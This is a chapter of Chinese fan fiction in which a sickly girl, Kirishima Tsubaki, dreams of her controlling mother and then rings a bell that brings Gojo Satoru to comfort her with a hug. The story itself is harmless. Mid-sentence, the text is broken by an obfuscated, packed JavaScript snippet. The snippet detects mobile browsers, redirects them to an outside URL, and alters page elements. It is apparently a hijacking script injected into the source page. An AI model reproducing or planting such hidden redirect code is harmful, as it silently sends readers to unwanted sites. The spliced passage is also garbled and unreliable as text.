这种被掏空后的死寂,让她恍若回到了自己一个人住在破烂不堪的房间里等死的日子。 啊,铃铛。她似乎想起了什么,开始在自己身上胡乱摸索着。 最后从口袋里掏出五条悟之前塞给她的那个小铃铛。 小小的一个,在她指尖冰凉而沉默,并没有发出声响。 她将它拥入怀中,试图从中汲取温暖。 不知道过了多长时间,雾岛椿手指蜷缩了两下,身体回暖。慢慢的,直到所有知觉回归,她才默默起身向里屋走去。 她将铃铛放在床头边,侧着头,怔愣地盯着它看了许久。 最后像往常一样躺下,闭上眼睛。 时间一点点过去,她维持着这个姿势,听着自己缓缓跳动的心脏声,没有一点失眠的焦躁。只是平静地等待着注定迟来的睡眠,像等待一场已知的惩罚。 睡眼朦胧之际,远处传来细微的声音,像是落入水井的水滴,滴答一声,隔着一层又一层的阻拦,让她听不清。 下雨了吗? 接着,是第二声、第三声……水滴声生涩地连起来,形成一阵阵余韵。 雾岛椿终于听清楚了。 那是十三弦的声音。 是那首安魂曲的调子。 雾岛椿猛地睁开眼睛。 原本被黑暗笼罩的房间亮的刺眼,恍惚间,她好像看见了一个朦胧的、穿着淡紫色和服的身影,就跪坐在房间的光源下,跪坐在她的身边,一具漆黑的十三弦横在她腿上。 “怎么醒了?”女人似乎也注意到了她的异常,她依旧漫不经心地拨动着手中的琴弦,头也没抬地问她,“即便是母亲弹的安魂曲,也哄不了你睡觉了吗?” “是曲子失效了……”她的声音依旧温和,一字一顿地对着她询问,“还是你不愿意睡?” “母亲……”喉咙口的痒意猛地窜上来,引发一阵压抑地呛咳,雾岛椿下意识双手抚上被咳嗽引得一阵剧痛的胸口,还没缓和过来,就被一道清冷的声音打断。 “不许咳。” 绝对的命令,不容一丝忤逆。 女人的手不再抚琴,安魂曲的调子戛然而止。 雾岛椿坐起身,直视着她的脸,她的呵斥声回荡在房间内,回荡在耳边。 至今完全消散,椿也没再发出一点声音。 即便是呼之欲出的、不受人体控制的的生理反应都被她硬生生掐断在喉咙里,憋得胸腔生疼,只剩下细微的颤抖。 她很努力,努力到连呜咽声也不曾从唇边溢出。 空气再一次陷入寂静,没有呵斥声,也不再有咳嗽声。 女人这才反应过来自己似乎有点失态,她将腿上的古筝放在一旁,倾身过来,伸出手,安抚性地在雾岛椿背后拍了拍。 她的指尖冷的像冰。 突兀的触感通过单薄的里衣传来,椿如触电般瑟缩了一下。 下一秒,她猛地蜷缩着身子,一把抓住被子死死捂住口鼻,几声呜咽就这样被闷死在纤维中。 女人收回留在空中的手,冷静地看着眼前的少女为了完成自己的命令而稍显狼狈的样子。 忽然,她轻轻地笑了出来。 “我们椿真厉害,会为了母亲随口一句话而努力。”她弯下腰,手指轻轻拨弄着雾岛椿额前被冷汗浸湿的碎发,动作很缱绻,像是一位母亲对孩子的嘉奖,“真听话。” “可惜啊……这么听话的孩子,为什么上天待你如此不公。”她轻声地诉说着委屈,是作为一位母亲在真情实意地为自己的孩子打抱不平,“偏偏得了这么个病弱的身体,偏偏……是个女孩呢?” “你若是个男孩该多好,你父亲……或许就会多看我们两眼了。” 雾岛椿并没有在意她的抱怨,而是笑着问,“母亲,不要再等那个男人了好吗?” “什么那个男人,他是你父亲。”女人脸上终于有了点表情,“椿,你的礼仪学到哪里去了?” “对不起母亲,但我觉得或许你需要冷静。” “冷静?” 这样轻飘飘的一句话,无所谓的态度瞬间点燃了女人压抑的疯狂。十年来丈夫的冷落、家族的轻视、外界轻蔑的眼光和此刻女儿的不理解,所有毒汁终于找到了唯一的出口。 “我还不够冷静吗?他交给我的任务我明明已经完成得十分漂亮了。我把庄园打理的仅仅有条,家里安排的妥妥当当,我做这些,不是为了给他那些情人铺路的。” 自从嫁到雾岛家,她被迫切断了所有与本家的联系,被迫接受夫家严格的礼仪训练,以抹去她身上“低门楣”的痕迹。她的一言一行、仪态、品味,甚至兴趣爱好,都会被无限放大,直到通过“考验”。 明明……明明一切都在往好的方向发展,她时刻牢记着要保持谦卑、恭顺,不能有任何张扬或个性的表现。一直都绝对服从于公婆和丈夫,一切以雾岛家的利益为最高准则。 她做的很好,也成功获得了雾岛家的认可,可椿的到来却毁掉了她的一切心血,所有努力都在诞下她的那一刻毁于一旦。 本以为可以挽回,却没想到多年来再无一子。 “既然不开心,那就请离开吧,母亲。” 少女脸色苍白,嘴唇泛白,眼神无光,语气却十分真挚。 女人则很失望地看着她,眼里浮现一层薄雾,她抿了抿唇,想说些什么,最后只留下一句,“我离开了,谁来照顾你?” “我不需要,你不用管我。” 话音刚落,女人有些怔怔的看着面前天真的少女。似乎是被她的不领情伤到了心,房间里悄然响起女人轻声的呜咽,断断续续。 “你一点都不理解母亲,我为了这个家付出了多少,没有人在乎,没有人理解我。” 雾岛椿垂下眼睫,不知道她为什么又哭,而且只在晚上哭,只在她面前哭。但不可忽略的是,她不想看见母亲这副样子。 于是她像往常那样,轻轻拥上去,拍了拍她的背,温柔地说: “母亲,我困了。睡吧。” “再熬过几个夜,父亲……总会回来的。” …… 雾岛椿猛地惊醒。 耳边没有琴声。眼前是陌生的、奢华的房顶。 不是她的房间。 只剩自己一人的那种恐慌感正在朝她袭来,她的目光已经下意识地扫寻,最后死死钉在床头—— 那只铃铛还在。 “有事可以用这个叫我。” “只要椿需要,我会回应你的期待。” 记忆中悟吵闹的声音言犹在耳。 鬼使神差地,她伸出手,控制着咒力,小心翼翼地往里面注入,然后极其轻微地、几乎不敢期望地晃动了一下。 “叮——” 一声极轻、极清脆的响声,在万籁俱寂的夜里,炸得她心跳骤停。 一秒。 两秒。 ……… 毫无回应。 果然。 她刚刚似乎做出了一个惊天地泣鬼神的蠢到可怕的行为。 雾岛椿无法解释自己为什么会这么做,明明她只是需要之前失眠的那些夜一样,乖乖躺在床上,闭着眼,只要熬过去,第二天就会安稳到来。 她现在是在做什么呢?妄图扰人清梦? “咚!” 房门被一股蛮力不轻不重地敲响,与其说是询问,不如说是宣告。 雾岛椿几乎是弹坐起来,深吸一口气,整理了一下外露的情绪,快步走去,若无其事地拉开门。 “大半夜的摇铃铛……椿,你是离不开奶瓶的三岁小鬼吗?吵人清梦可是重罪!” 一个修长的身影倚在门框上,睡眠不足的抱怨声里裹着毫不掩饰的嚣张和懒洋洋的腔调。 “最强也是需要睡觉的啊……啧,做噩梦了?” 五条悟歪着头,墨镜滑到鼻梁下半,那双举世无双的苍蓝色眼眸在夜色里,亮得惊人。 本来以为又会是一个平平无奇的失眠夜,在看到五条悟的那一刻,一切都没有了实感。 雾岛椿歪头,压下心底翻涌的情绪,故意用轻松的语调反问,“为什么不能是我真的遭到袭击了?” “哈?”五条悟发出一个短促而嘲弄的音节,仿佛听到了天大的笑话,“在我设下结界的五条家?更何况你这家伙可是我认定的强者,不至于无声无息就被干掉吧?困糊涂了?” 他微微俯身,凑近了些,那双六眼仿佛能看穿一切。 “我……做了一个很可怕的噩梦。”雾岛椿忽然泄了气,好像刚才强装的镇定突然就碎裂开来,声音低了下去,视线垂落,掩盖着眼里的情绪。浓密的睫毛在她苍白的脸上投下脆弱的阴影。 是需要安慰吗? 五条悟盯着她毛茸茸的发顶,沉默了一瞬,那沉默像是一种审视,在掂量着这个漏洞百出的借口值不值得他浪费睡眠的时间。 突然,他的脸毫无征兆地猛地从下方闯入她的视野,嘴角咧开一个恶劣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562370|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又灿烂的笑容,用一种近乎野蛮的直球方式,试图轰开她最后的壳,“哇哦!椿,难道是被吓哭了吗?!不会吧不会吧——!” 一张帅脸就这么贴了上来,雾岛椿一怔,被他这种完全不按常理出牌、毫无安慰可言的“审问”方式弄得措手不及。 同时,她那毫无波澜的眼底也被五条悟一览无余。 眼见谎言无法再进行下去,她抬起头,对上那双璀璨得过分的蓝眼睛,很干脆地说,“没哭。” “何止没哭啊,是根本没有在害怕吧?”五条悟若有所思地盯着她看了两眼,像是终于完成了扫描,得出了结论,“你这家伙,大半夜的,果然是闲着无聊在耍我玩吧?” “呜哇——!好可怕!”他惊呼完,语气里却听不出任何被冒犯的怒气,反而像发现了什么新奇玩具,带着一种“居然敢耍我,算你厉害”的玩味笑意,拖长了语调,“败~啦~败~啦~所以,费这么大劲吵醒我,你到底想干嘛?” “你不生气吗?” “啊?这点小事也值得生气吗?嘛~反正我也没睡着,你想玩那我就勉强陪你玩玩吧,挺有意思的不是吗?” “一点也没意思,我只觉得这种耍人好玩的行为很可耻。”雾岛椿冷静地像是批判的不是她本人一样。 她本来就没想过大半夜他会被一个铃铛召唤过来的可能,但事实就是他出现了。 他在用自己的睡眠为她愚蠢的行为买单。 意识到这点的雾岛椿不知道该如何向他解释自己的行为,她觉得自己要是给不出一个合格的答案,悟或许会把铃铛收回去。 可她……就是做了个梦。 一个正常的梦。 一个几乎每晚都会做的梦。 即便并不感到恐怖,她也只能将其解释为噩梦。只有这样解释看起来更容易让人接受。 可现在,谎言被拆穿了。但他似乎并没有在意。 被人戏耍了也不在意吗? ……好难过。 就像是在践踏他的真心一样。 五条悟不知道她怎么了,他的鼻子灵动地嗅了嗅,似乎从她身上闻到了悲伤的味道。 “喂喂——受害者都还没说什么,你怎么还先自我唾弃上了?” 五条悟不知道该怎么让这种味道消失,他难得的有些慌张,甚至还有些手舞足蹈。 对她还真是宽容。雾岛椿想。 但她确实没有故意想要戏耍他的意思。 “我确实没有很害怕,但我很难过。”她轻声说,努力让自己的眼神显得柔软又依赖,带着恰到好处的脆弱,“没有人规定噩梦必须是惊悚的吧?” “昂,这么说也没错。” “所以……我想要悟的安慰。”她小心翼翼地拽住了他睡衣的一角,微微晃动,“因为悟是我最重要的朋友。” “朋友?”五条悟像是被这个词烫了一下,表情有瞬间的不自然,随即立刻恢复了那副天上天下唯我独尊的样子,下巴微扬,“当然是了……啧,说吧,想要什么?不过分的话,我现在心情还好,或许可以考虑。” 他撇过头,耳根似乎有点不易察觉的红。 “你可以抱我吗?” 雾岛椿几乎没有思考地说出了这句话。 “……哈?!!”五条悟略显诧异地瞪圆了眼睛,墨镜都惊得滑落了几分,露出写满“你这家伙在说什么”的眼睛。 他的反应像是被踩了尾巴的猫,毛茸茸又极易掉落的猫毛此刻因受到惊吓轰然炸开。 雾岛椿眼巴巴地盯着他看了好几秒,终于,突然意识到了什么,她猛地抬眼,慌乱地解释道,“拥、拥抱,是拥抱!” 脸颊瞬间变得绯红,以迅雷不及掩耳之势蔓延至耳垂,直至染红整个耳朵。 “啊?”五条悟一开始还不太理解她为什么会如此慌张地解释,他仔细回忆着她的话语,足足反应了一两秒,然后他也像烫嘴一样,磕磕绊绊地说,“我、我知道啊!” “椿,你到底在说什么啊?” 他一脸不可置信,椿居然比他一个男高还要更加敏锐。震惊完,他又稍显严肃地弯腰凑近她,眼睛里再无慌乱,只有珍视和郑重。 “你为什么会这样想?” “啊、啊我,我……”雾岛椿现在感觉自己的语言系统已经崩坏,脑子里紧绷的那根弦也快要坚持不住了,她尴尬地无地自容,只想找个洞钻进去。 但她明白,在此刻如此具有压迫感的五条悟面前,逃避是不管用的,于是她紧闭着眼睛,像是明天不在日本生活了一样,大声喊道: “我母亲会给我买少女漫!我——唔。” 完全没想到她的声音会这么大,五条悟下意识伸手捂住了她的嘴,眼里闪过一丝心烦意乱,“好了好了,我知道了。” 他移开了捂住她的手。 得到了解放的雾岛椿放低了声音,再次解释道,“所以,所以我知道点也无可厚非吧。” “啊,是、是啊,哦——我知道了,所以作为朋友,在你伤心时,给你一个拥抱是理所当然的对不对?”少年有些不自在地转移话题,有了之前的插曲,拥抱好像变得更容易接受了。 明白了他的意思,雾岛椿顺其自然地张开了手。 五条悟盯着她看了几秒,像是经历了激烈的内心斗争,最终咂了下嘴,用一种“真拿你没办法”的语气,极其夸张地、大大咧咧地张开了手臂,“……行吧行吧!真是麻烦!仅此一次!这可是来自最强的拥抱,包治百病,保证你什么噩梦都忘光光!” 话虽如此,他却站得笔直,手臂张得老开,身体却微微后仰,一副“因为你是朋友所以才拥有特权”的架势。 雾岛椿没有丝毫犹豫,立刻向前一步,投入那个看似不情愿的怀抱,双手环住他精瘦的腰身,脸颊轻轻贴在他温暖的胸膛上。 悟长得很高大,她的头最多只能靠在他的胸口处,少年身上清爽的气息和蓬勃的生命力瞬间包裹了她,这样的气息让人感到安心,紧绷的神经在此刻终于得到放松。 好温暖,静下心来还能听见他那缓慢的心跳声,真想永远待在他的怀里。椿明白这是一件很不容易的事,仅仅只是一个拥抱对她来说已经足够奢侈,于是她故意蹭了蹭,想要尽可能的多汲取点。 “喂!!”五条悟身体瞬间僵住,虚虚放在她肩上的手像是无处安放,声音里带上了一丝罕见的慌乱和强装的镇定,“别得寸进尺啊!说了只是拥抱!你别乱动啊!” 他试图用嚣张掩盖无措,语速快得惊人,“都说了五条家安全得很!我的结界固若金汤!真有能威胁你的玩意儿出现,我肯定比谁都先知道!所以完全没必要害怕!懂了没?可以了吧?” 然而,雾岛椿只是在他怀里轻轻点了点头,丝毫没有要松开的意思。 五条家很安全,她当然知道。 她知道他在她房间周围多加固了一层结界,知道给她的锁钥上有他特殊的咒力残留,知道他的承诺从不虚发。 她也知道,那个所谓的噩梦,或许只是一个拙劣的借口。 但那又怎么样呢? 此时此刻,她只是需要这个拥抱,需要这份独一无二的、属于五条悟的安慰。 而嘴硬心软的少年,虽然抱怨个不停,最终却还是没有推开她。